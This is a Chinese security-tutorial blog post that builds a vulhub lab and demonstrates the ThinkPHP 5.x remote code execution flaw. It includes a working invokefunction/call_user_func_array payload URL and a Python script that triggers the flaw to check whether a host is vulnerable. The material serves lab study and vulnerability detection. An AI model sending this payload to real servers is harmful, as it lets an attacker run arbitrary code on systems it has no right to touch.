Python武器库开发-武器库篇之Thinkphp5-5.0.22/5.1.29远程执行代码漏洞 (六十五)

Python武器库开发-武器库篇之Thinkphp5-5.0.22/5.1.29远程执行代码漏洞 (六十五)

漏洞环境搭建

这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 5-rce 漏洞举例,如果我们想要安装 5-rce 漏洞环境,可以 cd 到 5-rce ,然后输入以下命令启动靶场环境:

python 复制代码
docker-compose up -d

然后我们在浏览器输入 https://localhost:8082 就可以访问靶场环境

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞原理

ThinkPHP是一款流行的PHP开发框架,用于快速开发Web应用程序。在ThinkPHP 5.0.22和5.1.29版本中存在一个远程执行代码的漏洞,其中5.0.22版本中已经修复了这个漏洞。

该漏洞的原理是由于未正确过滤用户输入,导致攻击者可以构造恶意的请求,执行任意的PHP代码。具体来说,该漏洞涉及到ThinkPHP的路由函数中的一处代码处理逻辑,攻击者可以通过构造特定的URL请求,在路由函数中绕过正则表达式的限制,进而执行任意的PHP代码。

攻击者可以利用该漏洞来执行恶意的代码,例如删除、修改或者获取敏感数据,以及执行一些恶意操作,例如植入后门,上传恶意文件等。

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞POC

接下来我们给出ThinkPHP 5.0.23-RCE漏洞的POC,代码内容如下:

python 复制代码
http://localhost:8082/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞POC编写

现在我们用python编写检测Thinkphp5-5.0.22/5.1.29远程执行代码漏洞的代码,内容如下:

python 复制代码
#!/usr/bin/env python

import requests
from urllib.parse import urljoin

def thinkphp5x_rce(url):
    poc = r'''/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=handsomewuyue'''
    payload = urljoin(url,poc)
    response = requests.get(url=payload,verify=False)
    if '31664625b85cc0cf91406a4e028ede29' in response.text:
        print('漏洞存在')
    else:
        print('漏洞不存在')

if __name__ == '__main__':
    url = 'http://localhost:8082/'
    thinkphp5x_rce(url)

POC代码详细分析

以上代码是一个Python脚本,主要用于检测ThinkPHP 5.x版本中的一个远程代码执行(RCE)漏洞。下面对代码进行详细分析:

  1. #!/usr/bin/env python:指定脚本使用的解释器为Python。

  2. import requests:导入requests模块,用于发送HTTP请求。

  3. from urllib.parse import urljoin:导入urljoin函数,用于拼接URL。

  4. def thinkphp5x_rce(url)::定义一个名为thinkphp5x_rce的函数,接受一个参数url

  5. poc =r'''/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=handsomewuyue''':定义一个名为poc的变量,存储一个URL路径,该路径会触发ThinkPHP5.x版本中的RCE漏洞。

  6. payload = urljoin(url,poc):使用urljoin函数拼接urlpoc,生成完整的URL。

  7. response =requests.get(url=payload,verify=False):使用requests.get发送GET请求,传递生成的完整URL作为参数,并且关闭SSL验证。

  8. if '31664625b85cc0cf91406a4e028ede29' in response.text::检查response.text中是否包含特定的字符串31664625b85cc0cf91406a4e028ede29

  9. print('漏洞存在'):如果特定字符串存在,则输出"漏洞存在"。

  10. else::如果特定字符串不存在。

  11. print('漏洞不存在'):输出"漏洞不存在"。

  12. if __name__ == '__main__'::判断当前模块是否作为主程序运行。

  13. url = 'http://localhost:8082/':定义一个名为url的变量,存储目标URL地址。

  14. thinkphp5x_rce(url):调用thinkphp5x_rce函数,并传递url作为参数。

运行效果图

如下是我们这串代码的实际运行效果图:

相关推荐
前端开发小司机19 分钟前
HCM智能人力资源系统存在命令执行漏洞Getshell
网络·计算机网络·安全·web安全·网络安全·系统安全·安全架构
爱上电路设计3 小时前
有趣的算法
开发语言·c++·算法
studyForMokey3 小时前
kotlin 函数类型接口lambda写法
android·开发语言·kotlin
2401_858120264 小时前
探索sklearn文本向量化:从词袋到深度学习的转变
开发语言·python·机器学习
与墨学长5 小时前
Rust破界:前端革新与Vite重构的深度透视(中)
开发语言·前端·rust·前端框架·wasm
虫小宝5 小时前
Java中的软件架构重构与升级策略
java·开发语言·重构
helloKittywz5 小时前
内网学习第6天 liunx定时任务 环境变量和权限配置,以及数据库提权
学习·web安全·网络安全·内网渗透·liunx·权限提升·学习记录
bigbearxyz5 小时前
Java实现图片的垂直方向拼接
java·windows·python
CTGU_daffodil5 小时前
matlab 绘制高等数学中的二维函数示例
开发语言·matlab
立秋67896 小时前
使用Python绘制堆积柱形图
开发语言·python